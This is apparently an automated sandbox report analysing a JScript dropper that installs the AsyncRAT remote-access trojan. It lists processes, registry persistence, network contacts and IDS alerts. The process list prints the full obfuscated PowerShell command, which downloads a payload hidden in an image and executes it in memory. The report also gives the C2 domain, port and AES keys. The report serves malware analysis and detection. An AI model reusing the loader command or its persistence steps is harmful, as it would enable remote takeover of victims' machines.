| File name: | fv09004496660232500001628.zip.js |
| Full analysis: | https://app.any.run/tasks/39dcdd44-5bb2-4708-80f5-3db20fe64def |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | April 29, 2025, 09:36:55 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-8 text, with very long lines (486), with CRLF line terminators |
| MD5: | EC8B820C80E852B2A2DF374F8C68E790 |
| SHA1: | 32AB670439729A5BE767C114376CE7A375459A98 |
| SHA256: | 81E537DCE98CC6DC16EE045EAFC374A47A228831FA805A8290BED8115C870BB4 |
| SSDEEP: | 48:ZIPwhanl84ggsGJJsBt9gFtqFtFtJQJmPNNFtO0UtusJ+nJ2ICnkBMCnikCn0XMK:ZGwhalXggsGJJsBt9gfqffJQJmPNNfOm |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 672 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7300 | "C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\fv09004496660232500001628.zip.js | C:\Windows\System32\wscript.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7380 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7412 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7544 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$redliche = 'JAByAG8AdQBnAGgAdwByAG8AdQBnAGgAdAAgAD0AIAAnADAALwBBAFgAaQBBAHoAUwBRAEwALwBkAC8AZQBlAC4AZQAjAHMAYQBwAC8ALwA6AHMAcAAjACMAaAAnADsAJABmAGwAZQBnAG0AIAA9ACAAJAByAG8AdQBnAGgAdwByAG8AdQBnAGgAdAAgAC0AcgBlAHAAbABhAGMAZQAgACcAIwAnACwAIAAnAHQAJwA7ACQAYQBkAGgAZQByAGUAbgB0AGwAeQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAYQBuAHQAaQBtAGEAdAByAG8AaQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAbgB0AGkAbQBhAHQAcgBvAGkAZAAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABpAHQAegBpAGIAdQAgAD0AIAAkAGEAbgB0AGkAbQBhAHQAcgBvAGkAZAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABhAGQAaABlAHIAZQBuAHQAbAB5ACkAOwAkAHMAdQByAHYAZQB5AG8AcgBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQB0AHoAaQBiAHUAKQA7ACQARQB1AHAAaABvAHIAYgBpAHUAbQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAQQBtAG8AcgBpAHQAZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABmAG8AcgBnAGUAcwAgAD0AIAAkAHMAdQByAHYAZQB5AG8AcgBzAC4ASQBuAGQAZQB4AE8AZgAoACQARQB1AHAAaABvAHIAYgBpAHUAbQApADsAJABzAHQAYQBrAGUAcgAgAD0AIAAkAHMAdQByAHYAZQB5AG8AcgBzAC4ASQBuAGQAZQB4AE8AZgAoACQAQQBtAG8AcgBpAHQAZQApADsAJABmAG8AcgBnAGUAcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAHMAdABhAGsAZQByACAALQBnAHQAIAAkAGYAbwByAGcAZQBzADsAJABmAG8AcgBnAGUAcwAgACsAPQAgACQARQB1AHAAaABvAHIAYgBpAHUAbQAuAEwAZQBuAGcAdABoADsAJAB0AGUAeAB0AHUAcgBlAGwAZQBzAHMAIAA9ACAAJABzAHQAYQBrAGUAcgAgAC0AIAAkAGYAbwByAGcAZQBzADsAJABtAGkAbAB0AG8AbgBpAGMAIAA9ACAAJABzAHUAcgB2AGUAeQBvAHIAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABmAG8AcgBnAGUAcwAsACAAJAB0AGUAeAB0AHUAcgBlAGwAZQBzAHMAKQA7ACQAYwBsAGEAbgBuAGkAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG0AaQBsAHQAbwBuAGkAYwApADsAJABnAGEAcgByAG8AdAB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAGwAYQBuAG4AaQBzAGgAKQA7ACQAdwBoAGUAdQBnAGgAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJABmAGwAZQBnAG0ALAAnADEAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBBAGwAZQBpAGMAaABlAG0AJwAsACcAagBzAGMAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAagBzACcALAAnACcALAAnACcALAAnACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$empathizer = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($redliche));Invoke-Expression $empathizer;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7552 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7944 | "C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\Aleichem.js" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7952 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 8072 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: jsc.exe Version: 14.8.9037.0 built by: NET481REL1 Modules
AsyncRat(PID) Process(8072) jsc.exe C2 (1)arannsasaaransasaturituri2024.duckdns.org Ports (1)3009 Version0.5.7B Botnet202512 Options AutoRunfalse MutexMutex_6SI8Admxn InstallFolder%AppData% BSoDfalse AntiVMfalse Certificates Cert1MIIE8jCCAtqgAwIBAgIQAKxLlAkF1WRT8tAExBlQyzANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjIwOTIwMTQyNzUwWhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKrrWexesJSLqGeYC6kTxL6e4fbMdbCF6T1opNgSYFlyavRm733h8x2GXmzipr8dl/UHWmWcPmk8... Server_SignatureaUJYEXRD16PdjWsVGUoEDC/1J06mt5QZ1omtU2iI7pPlXs4zpHUCvJet1MDT2ajfim6gAJ+FYra971v3kb3+G2GEGbjwGZ1oOYVZ8DwiaDfw7QgxRiImmT0I0CUO9+spPhTADC95gzwiceAy8MwW4b58aslG8KpEtWUQPIIJmuoj3wOLWF61XueIg6Z4HxgoYVAMxuEwwKXMqvvVSZS72Erwsjl3L+mWIhlTeZmfeNfUUxYeFK1c2dA+Uy3ZFQjyWdMUC3C1lF9ygLcF+yWNoKgG3BurqF67fO2gKbULXKwf... Keys AESdcdac48667980a3746d51f0c2cd7e93fe6fe063bf3f33d65e9fabcd2e3d8f36c Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 | |||||||||||||||
| (PID) Process: | (7300) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 01C6100000000000 | |||
| (PID) Process: | (7544) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Path |
Value: C:\Users\Public\Downloads\Aleichem.js | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7544 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_c5nnwckl.otl.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7544 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:43F23521FB61DAB8CB8CE02092E4ED28 | SHA256:AC9D117A5F54E87DCFB48CDAB9B420B08178ABDE1EF76F13B94B9E677B65D224 | |||
| 7544 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_gefnh5ed.mna.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7944 | cmd.exe | C:\Users\Public\Downloads\Aleichem.js | binary | |
MD5:1D06C24981727A2DC4E96FFCAD865445 | SHA256:1D530A72C0E31BCE5B11A894627C623B3B7E1F0678F2525BC60CD8D8703E5FDB | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.16.164.106:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 2.16.164.106:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4812 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4812 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
7300 | wscript.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/d/TCCerER0/0 | unknown | — | — | shared |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 2.16.164.106:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
5496 | MoUsoCoreWorker.exe | 2.16.164.106:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
— | — | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
5496 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
7300 | wscript.exe | 23.186.113.60:80 | paste.ee | — | — | shared |
7300 | wscript.exe | 23.186.113.60:443 | paste.ee | — | — | shared |
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
paste.ee |
| shared |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
archive.org |
| whitelisted |
ia801700.us.archive.org |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
7300 | wscript.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
7544 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2196 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain |
2196 | svchost.exe | Misc activity | ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain |
8072 | jsc.exe | Domain Observed Used for C2 Detected | REMOTE [ANY.RUN] AsyncRAT SSL certificate |
8072 | jsc.exe | Domain Observed Used for C2 Detected | ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert |
8072 | jsc.exe | Domain Observed Used for C2 Detected | ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) |
8072 | jsc.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] AsyncRAT Successful Connection |